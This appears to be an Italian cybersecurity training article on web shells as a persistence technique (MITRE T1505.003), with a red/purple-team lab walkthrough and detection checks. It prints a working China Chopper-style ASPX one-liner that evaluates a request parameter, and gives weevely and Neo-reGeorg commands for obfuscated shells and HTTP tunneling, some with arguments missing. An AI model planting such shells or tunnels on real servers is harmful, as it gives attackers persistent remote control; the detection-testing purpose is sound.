Iscriviti al webinar gratuito del 12 Maggio per diventare Forensic Analyst! Scopri di più
Corso Ethical Hacker: accedi alla promozione fino al 30 Aprile! Scopri di più
Una web shell è uno script lato server — scritto in ASP/ASPX, PHP, JSP o Lua — depositato su un web server esposto a Internet che consente all'attaccante di eseguire comandi, caricare file e navigare la rete interna come se disponesse di una shell interattiva remota. La tecnica ricade nella tattica Persistence (TA0003), perché l'obiettivo primario è mantenere un punto d'appoggio stabile nel perimetro compromesso, sopravvivendo a riavvii del servizio e rotazioni di credenziali.
I numeri raccontano la pervasività del problema: 31 gruppi APT documentati, 19 famiglie software dedicate, 12 campagne distinte. Dalla compromissione di server Exchange e SharePoint fino agli appliance VPN Ivanti Connect Secure e Versa Director, le web shell rappresentano il meccanismo di persistenza più versatile nel panorama delle intrusioni enterprise. Un singolo file da pochi kilobyte — talvolta una sola riga di codice nel caso di China Chopper — trasforma un server legittimo in un gateway persistente che parla HTTP, si mimetizza nel traffico web e sfugge ai controlli di rete tradizionali.
L'impatto spazia dallo spionaggio governativo al sabotaggio di infrastrutture critiche: campagne come la 2022 Ukraine Electric Power Attack e il FrostyGoop Incident dimostrano che le web shell fungono da trampolino per azioni distruttive su sistemi SCADA e OT.
L'obiettivo in laboratorio è simulare l'intera catena: upload della shell, stabilimento della persistenza e tunneling C2 attraverso il traffico HTTP. Questo consente di validare i controlli di detection e la segmentazione del web tier.
Fase 1 — Generazione della web shell. Il modo più realistico è partire da tool effettivamente usati in campagne documentate. China Chopper nella sua versione server-side è un one-liner ASPX che richiama eval() su un parametro POST. In laboratorio, puoi creare un file minimale di test:
echo '<%@ Page Language="Jscript"%><%eval(Request.Item["cmd"],"unsafe");%>' > shell.aspx
Per ambienti PHP, una variante altrettanto ridotta sfrutta system():
echo '' > cmd.php
Entrambe vanno depositate nella web root del server target — tipicamente C:\inetpub\wwwroot per IIS oppure /var/www/html per Apache/Nginx.
Fase 2 — Deploy tramite exploit simulato. Se il red team dispone di accesso a un Exchange lab, lo strumento weevely (open source) genera shell PHP offuscate con canale cifrato integrato. La sintassi per generare un agente è:
weevely generate
Per scenari ASPX su IIS, SharPyShell (open source) offre una shell .NET offuscata con supporto per esecuzione in-memory. Il deploy avviene copiando l'agente nella directory accessibile via web.
Fase 3 — Tunneling C2. La campagna Cutting Edge ha dimostrato l'uso massiccio di web shell per tunneling. In lab puoi replicarlo con Neo-reGeorg (open source), fork moderno di reGeorg che stabilisce un tunnel SOCKS attraverso richieste HTTP. La generazione del payload avviene con:
python neoreg.py generate -k
Il file risultante va depositato sul server target; lato attaccante si avvia il tunnel SOCKS locale con:
python neoreg.py -k
Validazione della detection. Dopo ogni fase, verifica che il SIEM registri: la creazione di file nella web root (Sysmon EventID 11), il processo w3wp.exe che genera cmd.exe o powershell.exe (Sysmon EventID 1), e il traffico HTTP anomalo verso il file appena creato. Se questi alert non scattano, il blue team ha un gap da colmare.
Un tool complementare per il purple teaming è Atomic Red Team (open source), che include test specifici per T1505.003 eseguibili con un singolo comando Invoke-AtomicTest.
Scarica la guida gratuita e segui il percorso corretto fin dal primo passo